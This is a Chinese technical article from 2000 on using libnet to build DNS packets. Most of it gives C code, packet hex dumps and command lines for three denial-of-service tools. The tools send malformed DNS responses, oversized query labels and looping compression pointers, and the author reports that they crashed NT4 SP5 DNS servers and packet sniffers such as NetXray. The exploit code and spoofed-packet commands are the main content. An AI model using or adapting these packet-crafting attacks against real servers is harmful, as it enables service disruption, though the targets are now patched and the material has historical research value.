libnet使用举例(8)

标题:libnet使用举例(8)

作者:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2000-08-02 11:33

呼呼,又到了领略C语言编程魅力的时刻,看如下函数原型:

int libnet_build_dns ( u_short id, u_short flags, u_short num_q,
                       u_short num_anws_rr, u_short num_auth_rr,
                       u_short num_addi_rr, const u_char * payload,
                       int payload_s, u_char * buf );

该函数用于构造DNS报文。其各个形参的含义不是libnet manual所能解释清楚的,好
在第(7)篇给出了非常详细的解释,自行参看。flags和接下来的四个number均采用所
见即所得的方式指定,不要做任何转换,比如期望在NetXray中看到flags域为0x8000,
这里就直接指定0x8000,number也一样。

/usr/include/libnet/libnet-headers.h中如下宏定义:

#define LIBNET_DNS_H 0xc  /* DNS header base: 12 bytes */

先不干正经事情,来一个很简单的异常DNS应答分组,据说这个格式的应答分组会对
NT的DNS SERVER造成DoS攻击,可我没有成功,不清楚是什么年代的事情了。

命令行指定目标IP地址,源IP如果不指定采用随机数,再就是DNS应答分组个数。

--------------------------------------------------------------------------
void dnsSend ( u_long srcIp, u_long dstIp, u_long dnsNumber )
{
    u_long d;

    /* 构造IP头 */
    libnet_build_ip( LIBNET_UDP_H + LIBNET_DNS_H,  /* IP数据区长度 */
                     IPTOS_LOWDELAY,               /* IP tos       */
                     ( u_short )random(),          /* IP ID        */
                     0,                            /* frag stuff   */
                     255,                          /* TTL          */
                     IPPROTO_UDP,                  /* 上层协议     */
                     srcIp,                        /* big-endian序 */
                     dstIp,                        /* 目标IP       */
                     NULL,                         /* 无选项       */
                     0,                            /* 选项长度零   */
                     packet );                     /* 指向IP头     */
    /* 构造UDP头 */
    libnet_build_udp( 53,                                   /* 源端口         */
                      53,                                   /* 目标端口       */
                      packet + LIBNET_IP_H + LIBNET_UDP_H,  /* payload        */
                      LIBNET_DNS_H,                         /* payload length */
                      packet + LIBNET_IP_H );
    /* 构造异常DNS应答分组头 */
    libnet_build_dns( 0, 0x8000, 0, 0, 0, 0, NULL, 0,
                      packet + LIBNET_IP_H + LIBNET_UDP_H );
    /* 计算UDP校验和,IP校验和由内核亲自计算 */
    Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + LIBNET_DNS_H );
    for ( d = 0; d < dnsNumber; d++ )
    {
        /* 发送DNS报文 */
        Libnet_write_ip( rawSocket, packet, packet_size );
    }  /* end of for */
    return;
}  /* end of dnsSend */
--------------------------------------------------------------------------

Usage: ./dki [--si srcIp] [--di dstIp] [--num dnsNumber]

这个DoS没有在广域网上测试过,不知道单包能打瘫何种版本的NT DNS SERVER,局域
网内多包倒是可以冻僵目标主机。测试效果如下:

1) 10.60是NT4 Dns,被彻底冻僵,但不影响从8.90 ping 10.60,也不影响IIS提供
   服务。
2) 0.2是Linux Dns,被彻底冻僵,从8.90无法ping通0.2,telnet 192.168.0.2 53
   失败,真够讽刺。

这个所谓的异常DNS应答分组格式如下:

00 00 00 11 11 11 00 10 14 ff ff ff 08 00
45 10 00 28 6e 17 00 00 ff 11 bb 98 c0 a8 08 5a c0 a8 08 5a
00 35 00 35 00 14 ed 56
00 00 80 00 00 00 00 00 00 00 00 00

最后一行一眼就可以看出问题所在,问题数、回答数统统为零,而flags指明这是一
个正向解析的响应分组,可能吗,不可能!但对于某些DNS实现,它不属于错误报文,
试图解释它的时候玩完了。

关于DNS可以想象到的DoS实在太多,举个例子,DNS请求分组正常情况下是不会出现
压缩格式的,事实上我也不确认出现了压缩格式,各个系统对此如何反应;就各种协
议分析软件的实现来说,它们会解析以压缩格式出现的DNS请求分组,并没有报错。
机会就是这样开始的,如果让指针开始循环,NetXray在试图decode这个报文的时候
终止掉了,Sniffer Pro 2.6及其以后版本防了这手,虽然也解析压缩格式,也造成
无限循环,但做了边界判断,没有造成本身进程终止。不再一一测试其他系统下的
sniffer。

为什么要在请求分组中制造这个循环,而不是响应分组呢?因为响应分组的id可能被
判断,进而被丢弃,虽然响应分组中的压缩格式一定会被解析。我只能赌各个系统的
DNS实现在处理问题单元和答案单元的时候调用的是同一个函数,并且没有区分当前
在解析哪个单元,如果我赌对了,那这个DNS实现就死定了。注意,对抗sniffer的时
候,由于id不会被判断,也就无所谓请求分组响应分组了。

此外,非压缩格式有什么长度限制吗?如果没有,可以无限扩大,因为结束标志不过
是长度域为00。

写了另外两个测试程序来做上述边界测试,本意是对付DNS SERVER,想不到捎带对付
sniffer。

--------------------------------------------------------------------------
    ... ...
    dnsDataSize  = 13 + MAXIPLUSONE * junkNumber;
    packet_size += dnsDataSize;
    fprintf( stderr, "[ Dns killing ... ... ]\n" );
    /* 分配内存并初始化成零 */
    Libnet_init_packet( packet_size, &packet );
    /* 在这里构造DNS报文的部分数据 */
    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;
    dnsData[0]   = 0x03;  /* www */
    dnsData[1]   = 0x77;
    dnsData[2]   = 0x77;
    dnsData[3]   = 0x77;
    dnsDataIndex = 4;
    for ( j = 0; j < junkNumber; j++ )
    {
        dnsData[ dnsDataIndex++ ] = MAXI;
        for ( i = 0; i < MAXI; i++ )
        {
            dnsData[ dnsDataIndex++ ] = JUNKCHAR;
        }
    }  /* end of for */
    dnsData[ dnsDataIndex++ ] = 0x03;  /* com      */
    dnsData[ dnsDataIndex++ ] = 0x63;
    dnsData[ dnsDataIndex++ ] = 0x6f;
    dnsData[ dnsDataIndex++ ] = 0x6d;
    dnsData[ dnsDataIndex++ ] = 0x00;  /* 结束标志 */
    dnsData[ dnsDataIndex++ ] = 0x00;
    dnsData[ dnsDataIndex++ ] = 0x01;
    dnsData[ dnsDataIndex++ ] = 0x00;
    dnsData[ dnsDataIndex   ] = 0x01;
    /* 创建raw_socket */
    rawSocket    = Libnet_open_raw_sock( IPPROTO_RAW );
    dnsSend( srcIp, dstIp, dnsNumber );
    /* 关闭raw_socket */
    libnet_close_raw_sock( rawSocket );
    /* 释放由libnet_init_packet()分配的内存 */
    libnet_destroy_packet( &packet );
    ... ...
--------------------------------------------------------------------------

Usage: ./dkii [--si srcIp] [--di dstIp] [--num dnsNumber]
       [--junk junkNumber]

测试过程中发现,不用介入指针制造无限循环,只要查询报文非压缩格式异常扩大就
足以导致NetXray解析(decode)时终止自身进程。比如--junk 4的时候,8.90上启动
NetXray,在decode的时候NetXray被迫终止。Sniffer Pro对抗异常DNS报文远比
NetXray稳定。LanExplore 3.5在试图解析这种报文的时候异常终止。

dkii所发送的异常DNS请求分组类似于下面的描述,所谓junkNumber就是指定以
3f 61 ... 61为单位的个数。

--------------------------------------------------------------------------
42 83                      id       标识符,随机化
01 00                      param    参数 正向解析请求报文,允许递归解析
00 01                      qtcount  问题数
00 00                      ancount  回答数
00 00                      aucount  管理机构数
00 00                      adcount  其他信息数

03 77 77 77                www,长度域为3
3F 61 ... 61               长度域为63
3F 61 ... 61               长度域为63
... ...
3F 61 ... 61               长度域为63
03 63 6f 6d                com,长度域为3
00                         结束
00 01                      type  = A记录
00 01                      class = IN -- the ARPA internet
--------------------------------------------------------------------------

--------------------------------------------------------------------------
    ... ...
    dnsDataSize  = 15;
    packet_size += dnsDataSize;
    fprintf( stderr, "[ Dns killing ... ... ]\n" );
    /* 分配内存并初始化成零 */
    Libnet_init_packet( packet_size, &packet );
    /* 在这里构造DNS报文的部分数据 */
    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;
    dnsData[0]   = 0x03;  /* www */
    dnsData[1]   = 0x77;
    dnsData[2]   = 0x77;
    dnsData[3]   = 0x77;
    dnsData[4]   = 0xc0;  /* 指针 = 12 ,实际指向www */
    dnsData[5]   = 0x0c;
    dnsData[6]   = 0x03;  /* com      */
    dnsData[7]   = 0x63;
    dnsData[8]   = 0x6f;
    dnsData[9]   = 0x6d;
    dnsData[10]  = 0x00;  /* 结束标志 */
    dnsData[11]  = 0x00;
    dnsData[12]  = 0x01;
    dnsData[13]  = 0x00;
    dnsData[14]  = 0x01;
    /* 创建raw_socket */
    ... ...
--------------------------------------------------------------------------

Usage: ./dkiii [--si srcIp] [--di dstIp] [--num dnsNumber]

dkiii所发送的异常DNS请求分组类似于下面的描述,制造了一个解析循环,NetXray
终止,LanExplore 3.5在试图解析该类报文的时候异常终止。

--------------------------------------------------------------------------
42 83                      id       标识符,随机化
01 00                      param    参数 正向解析请求报文,允许递归解析
00 01                      qtcount  问题数
00 00                      ancount  回答数
00 00                      aucount  管理机构数
00 00                      adcount  其他信息数

03 77 77 77                www,长度域为3
c0 0c                      指针  = 12 不该出现指针的地方出现指针,解析循环
03 63 6f 6d                com,长度域为3
00                         结束
00 01                      type  = A记录
00 01                      class = IN -- the ARPA internet
--------------------------------------------------------------------------

ADAM配合做如下测试:

操作./dkii --si 192.168.10.60 --di 192.168.10.60 --num 5 --junk 4导致
NT4 SP5 DNS Server崩溃。

操作./dkiii --si 192.168.10.60 --di 192.168.10.60 --num 5同样导致
NT4 SP5 DNS Server崩溃。

上述操作要求源IP和目标IP一致,可以精确重现,其中dkiii发作速度快,dkii攻击
后要稍微等待一下才可以看到效果。net start dns可以恢复。

对SP6已经无效。现在网络结构中处处对源IP等于目标IP的情况进行过滤,很难从广
域网上发起攻击。关于DNS的DoS告一段落。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值